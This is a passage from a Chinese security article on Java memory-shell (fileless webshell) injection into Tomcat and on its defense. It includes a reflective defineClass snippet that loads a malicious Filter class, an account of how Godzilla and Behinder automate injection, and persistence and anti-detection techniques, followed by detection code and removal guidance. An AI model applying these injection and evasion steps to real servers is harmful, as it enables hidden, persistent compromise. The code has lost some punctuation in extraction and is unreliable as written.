Memory上面的示例还有一个问题我们假设MemoryShellFilter这个类已经存在于Classpath中。但在真实攻击中目标服务器上显然没有这个类。因此我们需要解决如何让JVM加载并定义一个原本不存在的类。这就需要用到java.lang.ClassLoader#defineClass方法。这个方法可以将一个字节数组即编译好的.class文件内容定义为一个Class对象。我们可以将恶意Filter的字节码bytecode作为字符串硬编码在注入的代码中或者从远程服务器加载然后使用defineClass将其“凭空”定义到JVM里。步骤大致如下准备字节码将MemoryShellFilter.java编译成.class文件然后将其内容转换为Base64字符串或字节数组嵌入到我们的注入代码漏洞利用代码中。获取当前ClassLoader通常使用Thread.currentThread().getContextClassLoader()。反射调用defineClass由于defineClass是protected方法需要通过反射来调用。定义类将字节码数组传给defineClass得到Class对象。// 示例动态定义类 ClassLoader cl Thread.currentThread().getContextClassLoader(); Class? clazz null; try { // 假设 evilClassBytes 是 MemoryShellFilter.class 的字节数组 byte[] evilClassBytes ...; // 从Base64字符串解码或远程获取 Method defineClassMethod ClassLoader.class.getDeclaredMethod(defineClass, String.class, byte[].class, int.class, int.class); defineClassMethod.setAccessible(true); clazz (Class?) defineClassMethod.invoke(cl, com.evil.MemoryShellFilter, evilClassBytes, 0, evilClassBytes.length); } catch (Exception e) { e.printStackTrace(); } // 现在 clazz 就是动态加载的类可以用于创建 FilterDef通过结合步骤三和步骤四我们就完成了一个完整的、无需磁盘文件落地的内存马注入流程。4. 技术原理深度剖析Godzilla插件在做什么了解了手动构建的过程我们再回过头来看像Godzilla、Behinder冰蝎这样的工具它们的插件化内存马功能本质上是对上述流程的高度自动化、模块化和兼容性封装。4.1 插件架构与自动化Godzilla的Java内存马插件通常是一个封装好的.jar文件或一段复杂的序列化数据。当通过漏洞点如反序列化加载后它会自动执行以下操作环境探测自动识别目标容器的类型Tomcat、Jetty、WebLogic、JBoss等、版本、以及当前Web应用的路径。自适应查找链内置了多条获取StandardContext或对应容器的上下文对象的反射路径。它会像我们手动尝试一样按顺序尝试多条路径直到成功获取上下文对象大大提高了在不同环境下的成功率。字节码生成与加载插件内部包含了多种内存马Filter型、Servlet型、Interceptor型、Agent型等的模板字节码。根据用户选择动态生成最终的字节码并利用defineClass或Unsafe.defineClass进行加载。静默注册完成类的动态加载和组件的注册并尽可能清理注入过程中产生的临时痕迹如线程局部变量、异常栈等。通信协议集成加密的通信信道。与我们示例中的简单cmd参数不同Godzilla使用的通信协议是加密的流量特征更隐蔽可以绕过简单的WAF关键字检测。4.2 内存马的“保鲜”与“隐形”技巧高级的内存马会采用更多技术来增强持久化和隐蔽性线程注入将后门逻辑注入到一个长期存活的线程如Tomcat的Acceptor线程、业务线程池的线程中即使会话结束后门依然存在。注册为默认Servlet/Filter尝试将自己注册为处理/或*.jsp等默认路径的组件增加排查难度。利用Java Agent技术这是更底层的技术。通过instrumentationAPI在类加载时修改类的字节码例如在每个Servlet的service方法开头插入后门代码实现更深度的寄生。这种内存马即使重启JVM如果不清理Agent也可能存活检测难度极高。反检测会检查当前环境中是否存在Java安全管理器SecurityManager、RASP运行时应用自保护等防护产品并尝试绕过或使其失效。自清理在Filter或Servlet的init方法中可能会尝试删除最初用于注入的漏洞文件如果存在的话抹除初始攻击痕迹。4.3 与传统JSP Webshell的对比特性传统JSP Webshell内存马 (如Filter型)存储位置服务器磁盘Web目录JVM进程内存检测难度相对容易文件扫描、哈希校验困难需内存分析、行为监控持久性依赖文件存在删除即失效与进程生命周期绑定重启应用即失效除非注入启动项访问方式访问特定的JSP文件路径访问任何路径Filter型或特定路径Servlet型流量特征可能明显特定文件、参数名隐蔽可伪装成正常API通信加密清除方式删除文件重启应用服务或使用特殊工具清除内存中的恶意组件5. 防御、检测与清除实战指南作为防御方了解了攻击原理我们就能制定更有效的策略。5.1 防御前置减少攻击面及时修补漏洞这是最根本的。定期更新框架、库和中间件杜绝反序列化、表达式注入等高危漏洞。最小权限原则运行Java应用的系统用户应具有最小必要权限避免其能够执行任意命令或写入关键目录。部署WAF/RASPWeb应用防火墙WAF可以拦截常见的攻击payload。运行时应用自保护RASP能深入JVM内部监控敏感API如Runtime.exec,defineClass, 反射修改FilterChain等的调用并进行阻断或告警。启用Java安全管理器配置严格的SecurityManager策略限制反射、类加载、执行命令等危险操作。虽然配置复杂但能极大提高攻击门槛。5.2 运行时检测发现内存中的“幽灵”当防御被突破我们需要有能力发现已经植入的内存马。基于流量的检测异常路径与参数监控是否存在对非业务路径的频繁访问或正常API请求中携带异常参数如cmd,code等。加密流量识别Godzilla等工具的通信流量通常有固定的加密模式或协议特征可以通过流量分析设备进行识别。请求-响应时间异常执行系统命令的请求其响应时间模式可能与正常业务请求不同。基于内存的检测核心手段列出所有Filter/Servlet编写诊断代码或使用工具动态获取当前StandardContext中注册的所有FilterDef和Servlet映射与正常的配置文件web.xml或注解声明进行比对找出“多余”的组件。// 诊断代码示例打印所有Filter ServletContext ctx request.getServletContext(); Field contextField ctx.getClass().getDeclaredField(context); contextField.setAccessible(true); Object applicationContext contextField.get(ctx); Field stdContextField applicationContext.getClass().getDeclaredField(context); stdContextField.setAccessible(true); Object standardContext stdContextField.get(applicationContext); // 获取 filterDefs MapString, ? filterDefs (MapString, ?) standardContext.getClass().getMethod(getFilterDefs).invoke(standardContext); System.out.println(Registered Filters: filterDefs.keySet());检查FilterChain在请求处理过程中可以打印或记录当前Filter链中的所有Filter类名发现未知的Filter。使用Java Agent进行内存扫描这是最强大的方式。可以开发一个安全Agent定期扫描JVM中已加载的类查找可疑的类名如包含shell、memshell、filter等关键词的匿名类、或检查Filter接口的实现类中是否有来自非系统ClassLoader的未知类。分析线程栈有些内存马会创建独立线程。检查JVM中所有线程的栈轨迹寻找执行可疑操作如Runtime.exec的线程。使用专业工具Arthas阿里巴巴开源的Java诊断工具。可以使用scsearch class命令查找类使用jad命令反编译可疑类使用tt命令监听方法调用。Java-Malware-Detector一些开源的安全工具集提供了检测常见内存马模式的脚本。商业RASP/安全平台通常具备内存Webshell检测能力。5.3 应急清除如何干净地移除内存马发现内存马后清除务必要干净避免残留。重启大法对于Filter/Servlet型内存马重启Tomcat等Java应用服务是最直接、最有效的方法。因为内存马存在于进程内存中进程终止内存马自然消失。这是生产环境最推荐的紧急处置方式。动态卸载不推荐用于生产在技术验证环境中可以尝试逆向注入过程通过反射从StandardContext的filterConfigs和filterDefs中移除对应的条目并调用filterDestroy等方法。但此操作风险高可能引发容器状态不一致。// 逆向移除Filter的示例高风险需谨慎 standardContext.getClass().getMethod(removeFilterDef, String.class).invoke(standardContext, myEvilFilter); // 还需要从filterConfigs Map中移除并清理FilterMap... 操作复杂且易出错。清除持久化痕迹重启后必须排查服务器上是否被植入了持久化后门如检查Tomcat的server.xml、context.xml是否被添加了恶意Valve或Listener。检查crontab、启动项rc.local,systemd服务是否有可疑任务。检查是否有恶意的Java Agent被通过-javaagent参数持久化。查看JVM启动参数和CATALINA_OPTS环境变量。根源修复清除后必须找到并修复最初被利用的漏洞入口点如那个脆弱的/eval接口否则很快会被再次植入。6. 从攻击视角看防御给开发者的建议通过这次“从零构建”的旅程我们可以从攻击者思维中提炼出给开发者和架构师的安全建议慎用反射和动态类加载业务代码中尽量避免不必要的反射调用尤其是允许用户输入来控制反射目标的情况。如果必须使用要进行严格的输入校验和白名单控制。监控敏感API在代码层面或通过Agent对ClassLoader.defineClass、Unsafe.defineClass、Runtime.exec、ProcessBuilder.start等高风险方法的调用进行日志记录或监控告警。定期进行组件清单比对在应用启动时记录所有注册的Filter、Servlet、Controller、Interceptor清单。定期或在每次发布后通过健康检查接口对比当前运行时的清单与基准清单是否一致。强化依赖管理使用Maven Enforcer等插件禁止引入存在已知高危漏洞的组件版本。对反序列化库如Jackson、Fastjson、表达式解析库的使用要格外小心。代码审计与灰盒测试在SDL安全开发生命周期中加入针对“内存马”植入场景的代码审计点和灰盒测试用例。模拟攻击者尝试获取StandardContext、动态注册组件等操作看是否会触发防御机制或告警。理解内存马不仅仅是了解一种攻击技术更是对Java运行时安全、Web容器架构和攻防博弈思维的一次深度训练。它告诉我们在现代攻防中边界正在变得模糊防御必须深入到应用的运行时内部。希望这篇长文能帮你建立起对这项技术的立体认知在安全的道路上走得更稳更远。
现象分析与防护技术)
![[C++]内存管理：串顺序存储的内存回收](http://pic.xiahunao.cn/yaotu/[C++]内存管理：串顺序存储的内存回收)
